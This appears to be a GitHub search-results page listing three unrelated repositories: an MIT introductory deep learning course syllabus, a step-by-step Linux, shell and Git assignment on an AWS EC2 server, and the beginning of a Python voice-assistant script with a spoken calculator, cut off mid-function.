Found 96 repositories(showing 30)
abusufyanvu
MIT Introduction to Deep Learning (6.S191) Instructors: Alexander Amini and Ava Soleimany Course Information Summary Prerequisites Schedule Lectures Labs, Final Projects, Grading, and Prizes Software labs Gather.Town lab + Office Hour sessions Final project Paper Review Project Proposal Presentation Project Proposal Grading Rubric Past Project Proposal Ideas Awards + Categories Important Links and Emails Course Information Summary MIT's introductory course on deep learning methods with applications to computer vision, natural language processing, biology, and more! Students will gain foundational knowledge of deep learning algorithms and get practical experience in building neural networks in TensorFlow. Course concludes with a project proposal competition with feedback from staff and a panel of industry sponsors. Prerequisites We expect basic knowledge of calculus (e.g., taking derivatives), linear algebra (e.g., matrix multiplication), and probability (e.g., Bayes theorem) -- we'll try to explain everything else along the way! Experience in Python is helpful but not necessary. This class is taught during MIT's IAP term by current MIT PhD researchers. Listeners are welcome! Schedule Monday Jan 18, 2021 Lecture: Introduction to Deep Learning and NNs Lab: Lab 1A Tensorflow and building NNs from scratch Tuesday Jan 19, 2021 Lecture: Deep Sequence Modelling Lab: Lab 1B Music Generation using RNNs Wednesday Jan 20, 2021 Lecture: Deep Computer Vision Lab: Lab 2A Image classification and detection Thursday Jan 21, 2021 Lecture: Deep Generative Modelling Lab: Lab 2B Debiasing facial recognition systems Friday Jan 22, 2021 Lecture: Deep Reinforcement Learning Lab: Lab 3 pixel-to-control planning Monday Jan 25, 2021 Lecture: Limitations and New Frontiers Lab: Lab 3 continued Tuesday Jan 26, 2021 Lecture (part 1): Evidential Deep Learning Lecture (part 2): Bias and Fairness Lab: Work on final assignments Lab competition entries due at 11:59pm ET on Canvas! Lab 1, Lab 2, and Lab 3 Wednesday Jan 27, 2021 Lecture (part 1): Nigel Duffy, Ernst & Young Lecture (part 2): Kate Saenko, Boston University and MIT-IBM Watson AI Lab Lab: Work on final assignments Assignments due: Sign up for Final Project Competition Thursday Jan 28, 2021 Lecture (part 1): Sanja Fidler, U. Toronto, Vector Institute, and NVIDIA Lecture (part 2): Katherine Chou, Google Lab: Work on final assignments Assignments due: 1 page paper review (if applicable) Friday Jan 29, 2021 Lecture: Student project pitch competition Lab: Awards ceremony and prize giveaway Assignments due: Project proposals (if applicable) Lectures Lectures will be held starting at 1:00pm ET from Jan 18 - Jan 29 2021, Monday through Friday, virtually through Zoom. Current MIT students, faculty, postdocs, researchers, staff, etc. will be able to access the lectures during this two week period, synchronously or asynchronously, via the MIT Canvas course webpage (MIT internal only). Lecture recordings will be uploaded to the Canvas as soon as possible; students are not required to attend any lectures synchronously. Please see the Canvas for details on Zoom links. The public edition of the course will only be made available after completion of the MIT course. Labs, Final Projects, Grading, and Prizes Course will be graded during MIT IAP for 6 units under P/D/F grading. Receiving a passing grade requires completion of each software lab project (through honor code, with submission required to enter lab competitions), a final project proposal/presentation or written review of a deep learning paper (submission required), and attendance/lecture viewing (through honor code). Submission of a written report or presentation of a project proposal will ensure a passing grade. MIT students will be eligible for prizes and awards as part of the class competitions. There will be two parts to the competitions: (1) software labs and (2) final projects. More information is provided below. Winners will be announced on the last day of class, with thousands of dollars of prizes being given away! Software labs There are three TensorFlow software lab exercises for the course, designed as iPython notebooks hosted in Google Colab. Software labs can be found on GitHub: https://github.com/aamini/introtodeeplearning. These are self-paced exercises and are designed to help you gain practical experience implementing neural networks in TensorFlow. For registered MIT students, submission of lab materials is not necessary to get credit for the course or to pass the course. At the end of each software lab there will be task-associated materials to submit (along with instructions) for entry into the competitions, open to MIT students and affiliates during the IAP offering. This includes MIT students/affiliates who are taking the class as listeners -- you are eligible! These instructions are provided at the end of each of the labs. Completing these tasks and submitting your materials to Canvas will enter you into a per-lab competition. MIT students and affiliates will be eligible for prizes during the IAP offering; at the end of the course, prize-winners will be awarded with their prizes. All competition submissions are due on January 26 at 11:59pm ET to Canvas. For the software lab competitions, submissions will be judged on the basis of the following criteria: Strength and quality of final results (lab dependent) Soundness of implementation and approach Thoroughness and quality of provided descriptions and figures Gather.Town lab + Office Hour sessions After each day’s lecture, there will be open Office Hours in the class GatherTown, up until 3pm ET. An MIT email is required to log in and join the GatherTown. During these sessions, there will not be a walk through or dictation of the labs; the labs are designed to be self-paced and to be worked on on your own time. The GatherTown sessions will be hosted by course staff and are held so you can: Ask questions on course lectures, labs, logistics, project, or anything else; Work on the labs in the presence of classmates/TAs/instructors; Meet classmates to find groups for the final project; Group work time for the final project; Bring the class community together. Final project To satisfy the final project requirement for this course, students will have two options: (1) write a 1 page paper review (single-spaced) on a recent deep learning paper of your choice or (2) participate and present in the project proposal pitch competition. The 1 page paper review option is straightforward, we propose some papers within this document to help you get started, and you can satisfy a passing grade with this option -- you will not be eligible for the grand prizes. On the other hand, participation in the project proposal pitch competition will equivalently satisfy your course requirements but additionally make you eligible for the grand prizes. See the section below for more details and requirements for each of these options. Paper Review Students may satisfy the final project requirement by reading and reviewing a recent deep learning paper of their choosing. In the written review, students should provide both: 1) a description of the problem, technical approach, and results of the paper; 2) critical analysis and exposition of the limitations of the work and opportunities for future work. Reviews should be submitted on Canvas by Thursday Jan 28, 2021, 11:59:59pm Eastern Time (ET). Just a few paper options to consider... https://papers.nips.cc/paper/2017/file/3f5ee243547dee91fbd053c1c4a845aa-Paper.pdf https://papers.nips.cc/paper/2018/file/69386f6bb1dfed68692a24c8686939b9-Paper.pdf https://papers.nips.cc/paper/2020/file/1457c0d6bfcb4967418bfb8ac142f64a-Paper.pdf https://science.sciencemag.org/content/362/6419/1140 https://papers.nips.cc/paper/2018/file/0e64a7b00c83e3d22ce6b3acf2c582b6-Paper.pdf https://arxiv.org/pdf/1906.11829.pdf https://www.nature.com/articles/s42256-020-00237-3 https://pubmed.ncbi.nlm.nih.gov/32084340/ Project Proposal Presentation Keyword: proposal This is a 2 week course so we do not require results or working implementations! However, to win the top prizes, nice, clear results and implementations will demonstrate feasibility of your proposal which is something we look for! Logistics -- please read! You must sign up to present before 11:59:59pm Eastern Time (ET) on Wednesday Jan 27, 2021 Slides must be in a Google Slide before 11:59:59pm Eastern Time (ET) on Thursday Jan 28, 2021 Project groups can be between 1 and 5 people Listeners welcome To be eligible for a prize you must have at least 1 registered MIT student in your group Each participant will only be allowed to be in one group and present one project pitch Synchronous attendance on 1/29/21 is required to make the project pitch! 3 min presentation on your idea (we will be very strict with the time limits) Prizes! (see below) Sign up to Present here: by 11:59pm ET on Wednesday Jan 27 Once you sign up, make your slide in the following Google Slides; submit by midnight on Thursday Jan 28. Please specify the project group # on your slides!!! Things to Consider This doesn’t have to be a new deep learning method. It can just be an interesting application that you apply some existing deep learning method to. What problem are you solving? Are there use cases/applications? Why do you think deep learning methods might be suited to this task? How have people done it before? Is it a new task? If so, what are similar tasks that people have worked on? In what aspects have they succeeded or failed? What is your method of solving this problem? What type of model + architecture would you use? Why? What is the data for this task? Do you need to make a dataset or is there one publicly available? What are the characteristics of the data? Is it sparse, messy, imbalanced? How would you deal with that? Project Proposal Grading Rubric Project proposals will be evaluated by a panel of judges on the basis of the following three criteria: 1) novelty and impact; 2) technical soundness, feasibility, and organization, including quality of any presented results; 3) clarity and presentation. Each judge will award a score from 1 (lowest) to 5 (highest) for each of the criteria; the average score from each judge across these criteria will then be averaged with that of the other judges to provide the final score. The proposals with the highest final scores will be selected for prizes. Here are the guidelines for the criteria: Novelty and impact: encompasses the potential impact of the project idea, its novelty with respect to existing approaches. Why does the proposed work matter? What problem(s) does it solve? Why are these problems important? Technical soundness, feasibility, and organization: encompasses all technical aspects of the proposal. Do the proposed methodology and architecture make sense? Is the architecture the best suited for the proposed problem? Is deep learning the best approach for the problem? How realistic is it to implement the idea? Was there any implementation of the method? If results and data are presented, we will evaluate the strength of the results/data. Clarity and presentation: encompasses the delivery and quality of the presentation itself. Is the talk well organized? Are the slides aesthetically compelling? Is there a clear, well-delivered narrative? Are the problem and proposed method clearly presented? Past Project Proposal Ideas Recipe Generation with RNNs Can we compress videos with CNN + RNN? Music Generation with RNNs Style Transfer Applied to X GAN’s on a new modality Summarizing text/news articles Combining news articles about similar events Code or spec generation Multimodal speech → handwriting Generate handwriting based on keywords (i.e. cursive, slanted, neat) Predicting stock market trends Show language learners articles or videos at their level Transfer of writing style Chemical Synthesis with Recurrent Neural networks Transfer learning to learn something in a domain for which it’s hard or risky to gather data or do training RNNs to model some type of time series data Computer vision to coach sports players Computer vision system for safety brakes or warnings Use IBM Watson API to get the sentiment of your Facebook newsfeed Deep learning webcam to give wifi-access to friends or improve video chat in some way Domain-specific chatbot to help you perform a specific task Detect whether a signature is fraudulent Awards + Categories Final Project Awards: 1x NVIDIA RTX 3080 4x Google Home Max 3x Display Monitors Software Lab Awards: Bose headphones (Lab 1) Display monitor (Lab 2) Bebop drone (Lab 3) Important Links and Emails Course website: http://introtodeeplearning.com Course staff: introtodeeplearning-staff@mit.edu Piazza forum (MIT only): https://piazza.com/mit/spring2021/6s191 Canvas (MIT only): https://canvas.mit.edu/courses/8291 Software lab repository: https://github.com/aamini/introtodeeplearning Lab/office hour sessions (MIT only): https://gather.town/app/56toTnlBrsKCyFgj/MITDeepLearning
nyaundid
SEIS 665 Assignment 2: Linux & Git Overview This week we will focus on becoming familiar with launching a Linux server and working with some basic Linux and Git commands. We will use AWS to launch and host the Linux server. AWS might seem a little confusing at this point. Don’t worry, we will gain much more hands-on experience with AWS throughout the course. The goal is to get you comfortable working with the technology and not overwhelm you with all the details. Requirements You need to have a personal AWS account and GitHub account for this assignment. You should also read the Git Hands-on Guide and Linux Hands-on Guide before beginning this exercise. A word about grading One of the key DevOps practices we learn about in this class is the use of automation to increase the speed and repeatability of processes. Automation is utilized during the assignment grading process to review and assess your work. It’s important that you follow the instructions in each assignment and type in required files and resources with the proper names. All names are case sensitive, so a name like "Web1" is not the same as "web1". If you misspell a name, use the wrong case, or put a file in the wrong directory location you will lose points on your assignment. This is the easiest way to lose points, and also the most preventable. You should always double-check your work to make sure it accurately reflects the requirements specified in the assignment. You should always carefully review the content of your files before submitting your assignment. The assignment Let’s get started! Create GitHub repository The first step in the assignment is to setup a Git repository on GitHub. We will use a special solution called GitHub Classroom for this course which automates the process of setting up student assignment repositories. Here are the basic steps: Click on the following link to open Assignment 2 on the GitHub Classroom site: https://classroom.github.com/a/K4zcVmX- (Links to an external site.)Links to an external site. Click on the Accept this assignment button. GitHub Classroom will provide you with a URL (https) to access the assignment repository. Either copy this address to your clipboard or write it down somewhere. You will need to use this address to set up the repository on a Linux server. Example: https://github.com/UST-SEIS665/hw2-seis665-02-spring2019-<your github id>.git At this point your new repository to ready to use. The repository is currently empty. We will put some content in there soon! Launch Linux server The second step in the assignment is to launch a Linux server using AWS EC2. The server should have the following characteristics: Amazon Linux 2 AMI 64-bit (usually the first option listed) Located in a U.S. region (us-east-1) t2.micro instance type All default instance settings (storage, vpm, security group, etc.) I’ve shown you how to launch EC2 instances in class. You can review it on Canvas. Once you launch the new server, it may take a few minutes to provision. Log into server The next step is to log into the Linux server using a terminal program with a secure shell (SSH) support. You can use iTerm2 (Links to an external site.)Links to an external site. on a Mac and GitBash/PuTTY (Links to an external site.)Links to an external site. on a PC. You will need to have the private server key and the public IP address before attempting to log into the server. The server key is basically your password. If you lose it, you will need to terminate the existing instance and launch a new server. I recommend reusing the same key when launching new servers throughout the class. Note, I make this recommendation to make the learning process easier and not because it is a common security practice. I’ve shown you how to use a terminal application to log into the instance using a Windows desktop. Your personal computer or lab computer may be running a different OS version, but the process is still very similar. You can review the videos on the Canvas. Working with Linux If you’ve made it this far, congratulations! You’ve made it over the toughest hurdle. By the end of this course, I promise you will be able to launch and log into servers in your sleep. You should be looking at a login screen that looks something like this: Last login: Mon Mar 21 21:17:54 2016 from 174-20-199-194.mpls.qwest.net __| __|_ ) _| ( / Amazon Linux AMI ___|\___|___| https://aws.amazon.com/amazon-linux-ami/2015.09-release-notes/ 8 package(s) needed for security, out of 17 available Run "sudo yum update" to apply all updates. ec2-user@ip-172-31-15-26 ~]$ Your terminal cursor is sitting at the shell prompt, waiting for you to type in your first command. Remember the shell? It is a really cool program that lets you start other programs and manage services on the Linux system. The rest of this assignment will be spent working with the shell. Note, when you are asked to type in a command in the steps below, don’t type in the dollar-sign ($) character. This is just meant to represent the command prompt. The actual commands are represented by the characters to the right of the command prompt. Let’s start by asking the shell for some help. Type in: $ help The shell provides you with a list of commands you can run along with possible command options. Next, check out one of the pages in the built-in manual: $ man ls A man page will appear with information on how to use the ls command. This command is used to list the contents of file directories. Either space through the contents of the man page or hit q to exit. Most of the core Linux commands have man pages available. But honestly, some of these man pages are a bit hard to understand. Sometimes your best bet is to search on Google if you are trying to figure out how to use a specific command. When you initially log into Linux, the system places you in your home directory. Each user on the system has a separate home directory. Let’s see where your home directory is located: $ pwd The response should be /home/ec2-user. The pwd command is handy to remember if you ever forget what file directory you are currently located in. If you recall from the Linux Hands-on Guide, this directory is also your current working directory. Type in: $ cd / The cd command let’s you change to a new working directory on the server. In this case, we changed to the root (/) directory. This is the parent of all the other directories on the file system. Type in: $ ls The ls command lists the contents of the current directory. As you can see, root directory contains many other directories. You will become familiar with these directories over time. The ls command provides a very basic directory listing. You need to supply the command with some options if you want to see more detailed information. Type in: $ ls -la See how this command provides you with much more detailed information about the files and directories? You can use this detailed listing to see the owner, group, and access control list settings for each file or directory. Do you see any files listed? Remember, the first character in the access control list column denotes whether a listed item is a file or a directory. You probably see a couple files with names like .autofsck. How come you didn’t see this file when you typed in the lscommand without any options? (Try to run this command again to convince yourself.) Files names that start with a period are called hidden files. These files won’t appear on normal directory listings. Type in: $ cd /var Then, type in: $ ls You will see a directory listing for the /var directory. Next, type in: $ ls .. Huh. This directory listing looks the same as the earlier root directory listing. When you use two periods (..) in a directory path that means you are referring to the parent directory of the current directory. Just think of the two dots as meaning the directory above the current directory. Now, type in: $ cd ~ $ pwd Whoa. We’re back at our home directory again. The tilde character (~) is another one of those handy little directory path shortcuts. It always refers to our personal home directory. Keep in mind that since every user has their own home directory, the tilde shortcut will refer to a unique directory for each logged-in user. Most students are used to navigating a file system by clicking a mouse in nested graphical folders. When they start using a command-line to navigate a file system, they sometimes get confused and lose track of their current position in the file system. Remember, you can always use the pwd command to quickly figure out what directory you are currently working in. Let’s make some changes to the file system. We can easily make our own directories on the file system. Type: mkdir test Now type: ls Cool, there’s our new test directory. Let’s pretend we don’t like that directory name and delete it. Type: rmdir test Now it’s gone. How can you be sure? You should know how to check to see if the directory still exists at this point. Go ahead and check. Let’s create another directory. Type in: $ mkdir documents Next, change to the new directory: $ cd documents Did you notice that your command prompt displays the name of the current directory? Something like: [ec2-user@ip-172-31-15-26 documents]$. Pretty handy, huh? Okay, let’s create our first file in the documents directory. This is just an empty file for training purposes. Type in: $ touch paper.txt Check to see that the new file is in the directory. Now, go back to the previous directory. Remember the double dot shortcut? $ cd .. Okay, we don’t like our documents directory any more. Let’s blow it away. Type in: $ rmdir documents Uh oh. The shell didn’t like that command because the directory isn’t empty. Let’s change back into the documents directory. But this time don’t type in the full name of the directory. You can let shell auto-completion do the typing for you. Type in the first couple characters of the directory name and then hit the tab key: $ cd doc<tab> You should use the tab auto-completion feature often. It saves typing and makes working with the Linux file system much much easier. Tab is your friend. Now, remove the file by typing: $ rm paper.txt Did you try to use the tab key instead of typing in the whole file name? Check to make sure the file was deleted from the directory. Next, create a new file: $ touch file1 We like file1 so much that we want to make a backup copy. Type: $ cp file1 file1-backup Check to make sure the new backup copy was created. We don’t really like the name of that new file, so let’s rename it. Type: $ mv file1-backup backup Moving a file to the same directory and giving it a new name is basically the same thing as renaming it. We could have moved it to a different directory if we wanted. Let’s list all of the files in the current directory that start with the letter f: $ ls f* Using wildcard pattern matching in file commands is really useful if you want the command to impact or filter a group of files. Now, go up one directory to the parent directory (remember the double dot shortcut?) We tried to remove the documents directory earlier when it had files in it. Obviously that won’t work again. However, we can use a more powerful command to destroy the directory and vanquish its contents. Behold, the all powerful remove command: $ rm -fr documents Did you remember to use auto-completion when typing in documents? This command and set of options forcibly removes the directory and its contents. It’s a dangerous command wielded by the mightiest Linux wizards. Okay, maybe that’s a bit of an exaggeration. Just be careful with it. Check to make sure the documents directory is gone before proceeding. Let’s continue. Change to the directory /var and make a directory called test. Ugh. Permission denied. We created this darn Linux server and we paid for it. Shouldn’t we be able to do anything we want on it? You logged into the system as a user called ec2-user. While this user can create and manage files in its home directory, it cannot change files all across the system. At least it can’t as a normal user. The ec2-user is a member of the root group, so it can escalate its privileges to super-user status when necessary. Let’s try it: $ sudo mkdir test Check to make sure the directory exists now. Using sudo we can execute commands as a super-user. We can do anything we want now that we know this powerful new command. Go ahead and delete the test directory. Did you remember to use sudo before the rmdir command? Check to make sure the directory is gone. You might be asking yourself the question: why can we list the contents of the /var directory but not make changes? That’s because all users have read access to the /var directory and the ls command is a read function. Only the root users or those acting as a super-user can write changes to the directory. Let’s go back to our home directory: $ cd ~ Editing text files is a really common task on Linux systems because many of the application configuration files are text files. We can create a text file by using a text editor. Type in: $ nano myfile.conf The shell starts up the nano text editor and places your terminal cursor in the editing screen. Nano is a simple text-based word processor. Type in a few lines of text. When you’re done writing your novel, hit ctrl-x and answer y to the prompt to save your work. Finally, hit enter to save the text to the filename you specified. Check to see that your file was saved in the directory. You can take a look at the contents of your file by typing: $ cat myfile.conf The cat command displays your text file content on the terminal screen. This command works fine for displaying small text files. But if your file is hundreds of lines long, the content will scroll down your terminal screen so fast that you won’t be able to easily read it. There’s a better way to view larger text files. Type in: $ less myfile.conf The less command will page the display of a text file, allowing you to page through the contents of the file using the space bar. Your text file is probably too short to see the paging in action though. Hit q to quit out of the less text viewer. Hit the up-arrow key on your keyboard a few times until the commmand nano myfile.conf appears next to your command prompt. Cool, huh? The up-arrow key allows you to replay a previously run command. Linux maintains a list of all the commands you have run since you logged into the server. This is called the command history. It’s a really useful feature if you have to re-run a complex command again. Now, hit ctrl-c. This cancels whatever command is displayed on the command line. Type in the following command to create a couple empty files in the directory: $ touch file1 file2 file3 Confirm that the files were created. Some commands, like touch. allow you to specify multiple files as arguments. You will find that Linux commands have all kinds of ways to make tasks more efficient like this. Throughout this assignment, we have been running commands and viewing results on the terminal screen. The screen is the standard place for commands to output results. It’s known as the standard out (stdout). However, it’s really useful to output results to the file system sometimes. Type in: $ ls > listing.txt Take a look at the directory listing now. You just created a new file. View the contents of the listing.txt file. What do you see? Instead of sending the output from the ls command to the screen we sent it to a text file. Let’s try another one. Type: $ cat myfile.conf > listing.txt Take a look at the contents of the listing.txt file again. It looks like your myfile.conf file now. It’s like you made a copy of it. But what happened to the previous content in the listing.txt file? When you redirect the output of a command using the right angle-bracket character (>), the output overwrites the existing file. Type this command in: $ cat myfile.conf >> listing.txt Now look at the contents of the listing.txt file. You should see your original content displayed twice. When you use two angle-bracket characters in the commmand the output appends (or adds to) the file instead of overwriting it. We redirected the output from a command to a text file. It’s also possible to redirect the input to a command. Typically we use a keyboard to provide input, but sometimes it makes more sense to input a file to a command. For example, how many words are in your new listing.txt file? Let’s find out. Type in: $ wc -w < listing.txt Did you get a number? This command inputs the listing.txt file into a word count program called wc. Type in the command: $ ls /usr/bin The terminal screen probably scrolled quickly as filenames flashed by. The /usr/bin directory holds quite a few files. It would be nice if we could page through the contents of this directory. Well, we can. We can use a special shell feature called pipes. In previous steps, we redirected I/O using the file system. Pipes allow us to redirect I/O between programs. We can redirect the output from one program into another. Type in: $ ls /usr/bin | less Now the directory listing is paged. Hit the spacebar to page through the listing. The pipe, represented by a vertical bar character (|), takes the output from the ls command and redirects it to the less command where the resulting output is paged. Pipes are super powerful and used all the time by savvy Linux operators. Hit the q key to quit the paginated directory listing command. Working with shell scripts Now things are going to get interesting. We’ve been manually typing in commands throughout this exercise. If we were running a set of repetitive tasks, we would want to automate the process as much as possible. The shell makes it really easy to automate tasks using shell scripts. The shell provides many of the same features as a basic procedural programming language. Let’s write some code. Type in this command: $ j=123 $ echo $j We just created a variable named j referencing the string 123. The echo command printed out the value of the variable. We had to use a dollar sign ($) when referencing the variable in another command. Next, type in: $ j=1+1 $ echo $j Is that what you expected? The shell just interprets the variable value as a string. It’s not going to do any sort of computation. Typing in shell script commands on the command line is sort of pointless. We want to be able to create scripts that we can run over-and-over. Let’s create our first shell script. Use the nano editor to create a file named myscript. When the file is open in the editor, type in the following lines of code: #!/bin/bash echo Hello $1 Now quit the editor and save your file. We can run our script by typing: $ ./myscript World Er, what happened? Permission denied. Didn’t we create this file? Why can’t we run it? We can’t run the script file because we haven’t set the execute permission on the file. Type in: $ chmod u+x myscript This modifies the file access control list to allow the owner of the file to execute it. Let’s try to run the command again. Hit the up-arrow key a couple times until the ./myscript World command is displayed and hit enter. Hooray! Our first shell script. It’s probably a bit underwhelming. No problem, we’ll make it a little more complex. The script took a single argument called World. Any arguments provided to a shell script are represented as consecutively numbered variables inside the script ($1, $2, etc). Pretty simple. You might be wondering why we had to type the ./ characters before the name of our script file. Try to type in the command without them: $ myscript World Command not found. That seems a little weird. Aren’t we currently in the directory where the shell script is located? Well, that’s just not how the shell works. When you enter a command into the shell, it looks for the command in a predefined set of directories on the server called your PATH. Since your script file isn’t in your special path, the shell reports it as not found. By typing in the ./ characters before the command name you are basically forcing the shell to look for your script in the current directory instead of the default path. Create another file called cleanup using nano. In the file editor window type: #!/bin/bash # My cleanup script mkdir archive mv file* archive Exit the editor window and save the file. Change the permissions on the script file so that you can execute it. Now run the command: $ ./cleanup Take a look at the file directory listing. Notice the archive directory? List the contents of that directory. The script automatically created a new directory and moved three files into it. Anything you can do manually at a command prompt can be automated using a shell script. Let’s create one more shell script. Use nano to create a script called namelist. Here is the content of the script: #!/bin/bash # for-loop test script names='Jason John Jane' for i in $names do echo Hello $i done Change the permissions on the script file so that you can execute it. Run the command: $ ./namelist The script will loop through a set of names stored in a variable displaying each one. Scripts support several programming constructs like for-loops, do-while loops, and if-then-else. These building blocks allow you to create fairly complex scripts for automating tasks. Installing packages and services We’re nearing the end of this assignment. But before we finish, let’s install some new software packages on our server. The first thing we should do is make sure all the current packages installed on our Linux server are up-to-date. Type in: $ sudo yum update -y This is one of those really powerful commands that requires sudo access. The system will review the currently installed packages and go out to the Internet and download appropriate updates. Next, let’s install an Apache web server on our system. Type in: $ sudo yum install httpd -y Bam! You probably never knew that installing a web server was so easy. We’re not going to actually use the web server in this exercise, but we will in future assignments. We installed the web server, but is it actually running? Let’s check. Type in: $ sudo service httpd status Nope. Let’s start it. Type: $ sudo service httpd start We can use the service command to control the services running on the system. Let’s setup the service so that it automatically starts when the system boots up. Type in: $ sudo chkconfig httpd on Cool. We installed the Apache web server on our system, but what other programs are currently running? We can use the pscommand to find out. Type in: $ ps -ax Lots of processes are running on our system. We can even look at the overall performance of our system using the topcommand. Let’s try that now. Type in: $ top The display might seem a little overwhelming at first. You should see lots of performance information displayed including the cpu usage, free memory, and a list of running tasks. We’re almost across the finish line. Let’s make sure all of our valuable work is stored in a git repository. First, we need to install git. Type in the command: $ sudo yum install git -y Check your work It’s very important to check your work before submitting it for grading. A misspelled, misplaced or missing file will cost you points. This may seem harsh, but the reality is that these sorts of mistakes have consequences in the real world. For example, a server instance could fail to launch properly and impact customers because a single required file is missing. Here is what the contents of your git repository should look like before final submission: ┣archive ┃ ┣ file1 ┃ ┣ file2 ┃ ┗ file3 ┣ namelist ┗ myfile.conf Saving our work in the git repository Next, make sure you are still in your home directory (/home/ec2-user). We will install the git repository you created at the beginning of this exercise. You will need to modify this command by typing in the GitHub repository URL you copied earlier. $ git clone <your GitHub URL here>.git Example: git clone https://github.com/UST-SEIS665/hw2-seis665-02-spring2019-<your github id>.git The git application will ask you for your GitHub username and password. Note, if you have multi-factor authentication enabled on your GitHub account you will need to provide a personal token instead of your password. Git will clone (copy) the repository from GitHub to your Linux server. Since the repository is empty the clone happens almost instantly. Check to make sure that a sub-directory called "hw2-seis665-02-spring2019-<username>" exists in the current directory (where <username> is your GitHub account name). Git automatically created this directory as part of the cloning process. Change to the hw2-seis665-02-spring2019-<username> directory and type: $ ls -la Notice the .git hidden directory? This is where git actually stores all of the file changes in your repository. Nothing is actually in your repository yet. Change back to the parent directory (cd ..). Next, let’s move some of our files into the repository. Type: $ mv archive hw2-seis665-02-spring2019-<username> $ mv namelist hw2-seis665-02-spring2019-<username> $ mv myfile.conf hw2-seis665-02-spring2019-<username> Hopefully, you remembered to use the auto-complete function to reduce some of that typing. Change to the hw2-seis665-02-spring2019-<username> directory and list the directory contents. Your files are in the working directory, but are not actually stored in the repository because they haven’t been committed yet. Type in: $ git status You should see a list of untracked files. Let’s tell git that we want these files tracked. Type in: $ git add * Now type in the git status command again. Notice how all the files are now being tracked and are ready to be committed. These files are in the git staging area. We’ll commit them to the repository next. Type: $ git commit -m 'assignment 2 files' Next, take a look at the commit log. Type: $ git log You should see your commit listed along with an assigned hash (long string of random-looking characters). Finally, let’s save the repository to our GitHub account. Type in: $ git push origin master The git client will ask you for your GitHub username and password before pushing the repository. Go back to the GitHub.com website and login if you have been logged out. Click on the repository link for the assignment. Do you see your files listed there? Congratulations, you completed the exercise! Terminate server The last step is to terminate your Linux instance. AWS will bill you for every hour the instance is running. The cost is nominal, but there’s no need to rack up unnecessary charges. Here are the steps to terminate your instance: Log into your AWS account and click on the EC2 dashboard. Click the Instances menu item. Select your server in the instances table. Click on the Actions drop down menu above the instances table. Select the Instance State menu option Click on the Terminate action. Your Linux instance will shutdown and disappear in a few minutes. The EC2 dashboard will continue to display the instance on your instance listing for another day or so. However, the state of the instance will be terminated. Submitting your assignment — IMPORTANT! If you haven’t already, please e-mail me your GitHub username in order to receive credit for this assignment. There is no need to email me to tell me that you have committed your work to GitHub or to ask me if your GitHub submission worked. If you can see your work in your GitHub repository, I can see your work.
Rynkll696
import pyttsx3 import speech_recognition as sr import datetime from datetime import date import calendar import time import math import wikipedia import webbrowser import os import smtplib import winsound import pyautogui import cv2 from pygame import mixer from tkinter import * import tkinter.messagebox as message from sqlite3 import * conn = connect("voice_assistant_asked_questions.db") conn.execute("CREATE TABLE IF NOT EXISTS `voicedata`(id INTEGER PRIMARY KEY AUTOINCREMENT,command VARCHAR(201))") conn.execute("CREATE TABLE IF NOT EXISTS `review`(id INTEGER PRIMARY KEY AUTOINCREMENT, review VARCHAR(50), type_of_review VARCHAR(50))") conn.execute("CREATE TABLE IF NOT EXISTS `emoji`(id INTEGER PRIMARY KEY AUTOINCREMENT,emoji VARCHAR(201))") global query engine = pyttsx3.init('sapi5') voices = engine.getProperty('voices') engine.setProperty('voice', voices[0].id) def speak(audio): engine.say(audio) engine.runAndWait() def wishMe(): hour = int(datetime.datetime.now().hour) if hour >= 0 and hour<12: speak("Good Morning!") elif hour >= 12 and hour < 18: speak("Good Afternoon!") else: speak("Good Evening!") speak("I am voice assistant Akshu2020 Sir. Please tell me how may I help you.") def takeCommand(): global query r = sr.Recognizer() with sr.Microphone() as source: print("Listening...") r.pause_threshold = 0.9 audio = r.listen(source) try: print("Recognizing...") query = r.recognize_google(audio,language='en-in') print(f"User said: {query}\n") except Exception as e: #print(e) print("Say that again please...") #speak('Say that again please...') return "None" return query def calculator(): global query try: if 'add' in query or 'edi' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to add') b = float(input("Enter another number to add:")) c = a+b print(f"{a} + {b} = {c}") speak(f'The addition of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'sub' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to subtract') b = float(input("Enter another number to subtract:")) c = a-b print(f"{a} - {b} = {c}") speak(f'The subtraction of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'mod' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number') b = float(input("Enter another number:")) c = a%b print(f"{a} % {b} = {c}") speak(f'The modular division of {a} and {b} is equal to {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'div' in query: speak('Enter a number as dividend') a = float(input("Enter a number:")) speak('Enter another number as divisor') b = float(input("Enter another number as divisor:")) c = a/b print(f"{a} / {b} = {c}") speak(f'{a} divided by {b} is equal to {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'multi' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to multiply') b = float(input("Enter another number to multiply:")) c = a*b print(f"{a} x {b} = {c}") speak(f'The multiplication of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'square root' in query: speak('Enter a number to find its sqare root') a = float(input("Enter a number:")) c = a**(1/2) print(f"Square root of {a} = {c}") speak(f'Square root of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'square' in query: speak('Enter a number to find its sqare') a = float(input("Enter a number:")) c = a**2 print(f"{a} x {a} = {c}") speak(f'Square of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cube root' in query: speak('Enter a number to find its cube root') a = float(input("Enter a number:")) c = a**(1/3) print(f"Cube root of {a} = {c}") speak(f'Cube root of {a} is {c}. Your answer is {c}') speak('Do you want to do 